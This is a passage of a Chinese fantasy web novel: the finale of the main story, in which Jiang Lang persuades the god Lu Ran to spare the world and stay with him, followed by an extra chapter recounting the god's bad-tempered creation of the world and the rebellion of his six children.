江朗的泪融合着血一同流下：“陆燃……不要毁灭这个世界……”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第114章【正文完结】 第114章 正文完 陆燃，为我留下来 不要毁灭世界？ 为什么不要？ 祂一手创造的世界惹怒了祂, 于是从此在痛苦之中煎熬，这个甚至不是祂创造的世界惹怒了祂，毁灭已经是它最好的结局。 但是这是江朗。 祂愿意给他一个机会。 “我可以答应你一个愿望, 这就是你的愿望吗？不要毁灭你的世界？” 江朗：“陆燃……不要毁灭世界好不好……不管是这个世界还是那个世界……” 祂感到一丝愉悦的感受划过。 江朗还是那么天真又贪婪。 这很好，大部分人类都仅有贪婪。 “好, 我会给他们活下来的机会, 你开心了吗？” 江朗呆愣在原地，似乎没想到对方答应得这么快。 虽然他的外表上是看不出“呆愣”的，因为他的剧痛使他无时无刻不在颤抖，而如蜡一般熔化的脸庞上也看不出任何表情。 祂感到一丝无趣。 祂动了起来。 江朗感到一种更深的恐慌在他心头蔓延了开来。 刚刚的恐惧来源于世界即将被毁灭, 而现在的恐惧……来源于他即将永远地失去陆燃。 “不要走！陆燃——不要走！陆燃——求你……不要走……” 祂的动作停了下来, 饶有兴致地——虽然没有任何人能看出祂的兴致——将大半视线都投向了江朗所在的这个渺小的点。 “说出来。” 祂的命令如此清晰又如此模糊。 但江朗好像彻底崩溃了一般, 比目睹着这个世界即将毁灭, 而他们原本以为的世界拯救者除了他以外全都死在了他脚边时哭得更加崩溃。 而他的哭泣回荡在祂耳边，祂再次感到一丝愉悦划过。 “说出来, 我会回应你的祈祷。” “陆燃……留下来……” “这可不是祈祷的格式。” “我喜欢你啊！为什么一定要我说出来！我喜欢你啊！留下来！留下来好吗……我不能接受你不存在的世界！” “陆燃……为我留下来……” 于是祂的形态慢慢改变, 从不得直视的神，慢慢变回了那个人的形态。 江朗呆滞地看着自己面前站着的陆燃, 陆燃看上去似乎连衣角上都没有沾上灰, 就像什么都未发生过一样。 他呆呆地站在原地看了他一会儿，然后猛地冲了上去, 抱紧了陆燃。 流水从他的脸庞一路跌落到陆燃的夹克衫背部, 沾湿了一大片布料。 “陆燃……陆燃……陆燃……陆燃！” 陆燃抬起手, 拍了拍他的后背。 不知过了多久, 江朗对于被抛弃的恐慌终于恢复到了理智线水平，他慢吞吞地放开陆燃，然后看向了周围, 有些不知所措地问：“那这些怎么办？” 陆燃不耐烦地翻了个白眼：“他们以为时间这个权能是哪里来的？” 于是，一瞬间天地转换。 江朗眼睁睁地看着空间泡消失，他们原本所在的荒地长出了正常的植物，树，草叶，鸟雀重新从枝叶间冒了出来，好像从未有过世界被污染的时间线。 消失的还有他的异能，但是这不重要。 他脚边的四具“尸体”，虽然江朗已经失去了异能带来的听力，但他依旧能听到四个节奏不同的心跳声。 很远很远的地方，A市的某些异能者突然发现自己好好住着的公寓居然一瞬间就变换了家具布局，他们呆呆地看着突然出现在“自己家”的人，而那些突然出现的人还尖叫着喊着——“啊啊啊进小偷了！！进小偷了！！” 其中一个异能者咧开一个笑容，打算给这些人一点教训，但他抬起手才发现——他的异能消失了。 于是他的恶意笑容瞬间转为了恐慌。 C市，不知道多少摩天大楼重新拔地而起，它们有些是被肆意生长的植物型污染物挤压塌的，有些则单纯是不堪战斗者带来的重负，而现在，它们全都恢复了原样，就连末世前玻璃窗上的小瑕疵也一起恢复了，高高的大楼里，一群刚结束午休的打工人唉声叹气地带着咖啡进入工位，开始下午的工作。 Q市，张老师若有所思地看着自己“办公室”里瞬间换了个模样，然后她走出101，小区花园里大家辛辛苦苦种的菜已经不见了，原本被翻过的草皮已经规整得像是昨天刚铺上一样，她加速步伐来到小区门口，看向了对面。 海岸小学恢复了。 “叮铃铃——咚咚咚咚咚～” 那是他们上课的铃声。 她呆呆地站在原地看了会儿，听着学校里的嘈杂声音，那若有若无的笑声远远地传了过来。 “嗞嗞嗞——” 张老师快速从自己口袋里掏出震动着的手机——虽然她也不知道这手机什么时候进了她的口袋的。 “喂？啊……不好意思我马上到，嗯嗯……睡过头了……不好意思啊……你想帮我给五班讲会儿题吧，就讲他们上次月考的卷子，我估计还要十分钟才能到。” 她立刻急匆匆地朝学校赶了过去。 她离开后，海岸小区很是闹腾了一会儿，因为大半人家家里都莫名其妙出现了外人，他们拿着扫帚把这些自称“一直住这”的人赶了出来。 还有另外的奇怪的事，比如陈家夫妇不知道为什么失踪了。 更远的远处。 柳然神色一动，他看向自己的手掌，心知自己的力量已经失去，唉，又得重新适应那套更让他不舒服的强弱分级了。 对于整个地球来说，那是极为平凡又极为特殊的一天。 好多人自称自己遇到了末世，还描绘了末世中的种种景象，如果他们只是各说各的也就罢了，偏偏相隔数十公里远的在不同医院或警局陈述的人口中的末世都有非常多的共同点。 这让许多人百思不得其解，还有人在网上揣测——也许末世真的来过了！不然这些人为什么会有这么一致的记忆！然后末世又结束了！他们也许是一进末世就变丧尸了……啊不，反正就他们叙述里的怪物……才没有记忆的！ 几天后，专家团把这个超大型现象诊断为“群体性癔症”。 而这时候，江朗终于开着车载着陆燃回到了他学校旁边的公寓——是的，凡人也好，神明也好，陆燃都懒得开车。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第115章 番外 第115章 番外一 神代史：暴虐的神…… 祂是这个世界唯一的神。 从祂的意识诞生的第一天起, 宇宙意志就在不停对他说。 “你要成为这个世界的神。” “你要成为这个世界的神……” “你……要成为这个世界的神……” 于是等祂终于醒来，祂说的第一句话就是： “烦死了！吵什么吵！我难道不知道我要当这个狗屁神吗？” 宇宙意志沉默了一会儿。 然后接着呢喃： “你要成为这个世界的神……” 于是祂从诞生起，就很烦躁。 换谁来能不烦躁呢？事情一大堆, 这个星球目前一片混沌，说混沌都是好听了, 这个星球完全就是不知道从哪飞出来的一团尚未冷却的物质而已。 祂捏了一颗恒星放在它的正面, 又捏了几颗卫星放在它的背面。 要恰好形成合适的运转轨道以给星球合适的温度是件麻烦事，更何况要算轨道也就算了还要算一大堆引力扰动量，于是祂直接用自己的力量将这两面的恒星和卫星直接固定在了合适的位置，然后做了个装置让它们在固定的时间点互换位置。 宇宙意志对此好像有所不满。 祂直接烦躁地说：“不满意你就自己来。” 宇宙意志闭嘴了。 然后祂开始改造这个狗屁星球。 最后祂开始创造生命, 植物, 动物, 然后是人。 废话, 当然要有人，不然这个狗屁宇宙意志给这个世界装个神做什么。 不就是为了让祂来给这群人当保姆吗？ 他创造了很多很多人, 他们从一出生开始就知道自己可以向神祈祷。 想要的事, 遭受的不公，想要忏悔的事, 这些都可以和神说。 于是祂原本就暴躁的脾气更暴躁了。 因为这些人类祈祷的内容大半都是狗屁不通的东西。 虽然祂不会所有祈祷都回应, 但是他不能静音这些祈祷，所以他不得不每时每刻都听着一堆屁话。 “神, 隔壁铁匠的女儿出落得如花似玉, 我希望我儿子可以娶上她。” ——有病吧, 你儿子想娶她就自己去追, 这也烦你的神？而且都说了铁匠的女儿出落的如花似玉了，光今天和昨天两天祂就接到了六份想要娶这个姑娘的祈祷，祂难不成能复制六份铁匠女儿一一回应祈祷吗？真是什么屁事都祈祷一下, 铁匠女儿去神殿进修吧！这样够公平了吗？ “神，邻居抢了我的波比兽，您能不能帮我把这只波比兽拿回来……” ——你放屁！那只波比兽明明一开始就是你从邻居家偷的还把它涂黑了好像这样就能骗过别人一样！欺骗神是要遭天谴的知不知道！你剩的那只波比兽去当野生动物吧！ “神，请为我们裁断，我和邻居的妻子两情相悦，但邻居说他们也两情相悦，妻子无法判断她的心意究竟倾向于谁，您能不能帮我们判断一下？” ——有病？祂暴怒地降下雷电与天火，把这三人都劈了一顿，什么胆子敢让神给你们做心理测量计？ “神，我邻居是个坏人，能不能请您给他降下神罚，最好让他滚下山谷摔死。” ——巧了，你邻居也祈祷了同样的内容，你们俩的祈祷批量一起处理吧。 “神，我想要更有钱，可以让我获得金子吗？” ——有病？金矿就在你们村隔壁出门左转三百米，你们全村人都在挖啊！你自己不去指望神明给你当搬运工？给你们人类造腿到底是干什么用的？雷来！ 于是日复一日，被创造出来的人类很快意识到了，他们的神脾气很差。 向祂祈祷不一定能获得帮助，大概率只会受到惩罚。 他们很快就在多次的祈祷实践中发现，只有两样祈祷一般不会引来神的惩罚，第一样是诚心的赞美（祂：废话，这些赞美完全就是白噪音，不用动脑子当然就不会气到降下惩罚），第二样是真诚的忏悔。 于是，这个世界安静了下来。 这里成为了一个寂静的星球。 所有人顺从地接受自己天生的命运，每天日出而作，日落而点起蜡烛反省自己做错了什么，他们有了一种共识，遭遇不公必然是因为自己做错了什么，或者更糟糕——是因为触怒了他们的神明。 他们诚惶诚恐地反思担忧自己的每一个行为，将“罪”的范围一再扩大，生怕自己一不小心就被神注视，而神不喜欢他们此时此刻的行为。 整个星球上弥漫着恐惧，所有人躲在屋内忏悔自己的罪行，赞美神赐予他们生命，然后小心翼翼地熄灭烛火，躺在床上感激今天也没有被天火烧死。 就在星球上的居民因为恐惧而逐渐收敛自己的行径之时，祂，这位恐虐的神，也终于完成了祂从被那些让祂火大的祈祷烦的第一天起就在开始的大计划。 祂创造了六个孩子。 六个可以勉强称之为“神”的存在。 祂将祂们分配到星球的六个地域，让祂们负责处理这六个区域的主要祈祷。 简单来说就是，执政神诞生了。 从那天起，祂收到的祈祷瞬间减少了大半，但大部分人类还是习惯向对应的执政神祈祷一遍后再向祂祈祷一遍——祂也不知道这是哪来的习惯，于是祂的天火与惊雷依旧时不时出现在星球上的每一个角落。 这让人们更加惶恐，于是更加诚惶诚恐地向祂祈祷。 月是祂的第一个孩子，由祂分出了祂的一部分大脑制造而成，于是那成了祂最聪明也最强大的孩子。 祂没想到的是，月也是祂最心善的孩子。 月踏着夜间的迷雾走向人间，祂看见烛光摇曳间是一张又一张恐惧的人脸，这些人们啊，如此恐惧天罚会降临在他们身上，他们本就如此弱小而可怜，还要经受如此的恐惧和折磨，天罚总是无端地落在他们的身上。 而这一切的始作俑者，就是祂喜怒无常的父神。 月深深地感到了对人类的同情，祂尽力地满足自己辖内所有人民的祈祷，为他们创设更好的生活，抚慰他们从父神的恐惧笼罩中走出来，并时不时与另外五名执政神（单方面）交流经验，教导祂们如何善待自己的子民。 星球上的时间一天天过去，神在摆脱了大部分祈祷请求后也没有闲着，祂开始制作祂最后的一个孩子，一个可以一劳永逸地解决祂余下任务的孩子。 那孩子名为地狱的审判之火。 但是……嗯，并非祂的所有造物都是杰作。 这审判之火的智能不知道为什么很低，好像还不能直接拿出去用，还得再调试一下，于是祂带着审判之火巡逻整个世界，一一向它示范怎么对人类个体的罪行进行最终审判。 就在祂好不容易要把所有情况都教完了的时候。 月叛变了。 月率领着其余五名执政神向祂们的父神发起了攻击，祂们抱着必然灭亡的决心，毕竟自知自己只是父神的创造物，但是祂们愿意以自己的灭亡为代价，唤起父神对人类的怜爱之心，希望父神不要以审判之火吞没世界。 祂震怒。 六神瞬间被击溃。 祂立于高高的神殿之上，心里想着，好不容易造出来的六个负责人现在永眠了，怎么办呢？ 祂不想再回到每天都要听取祈祷的日子。 宇宙意志应该早就消亡了，所以严格来说，现在已经没有任何存在可以强迫祂继续当保姆了。 于是，祂剥离了自己孤立的意识，撕开了时空，前往了一个没有神存在的世界。 直到祂再次被吵醒。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m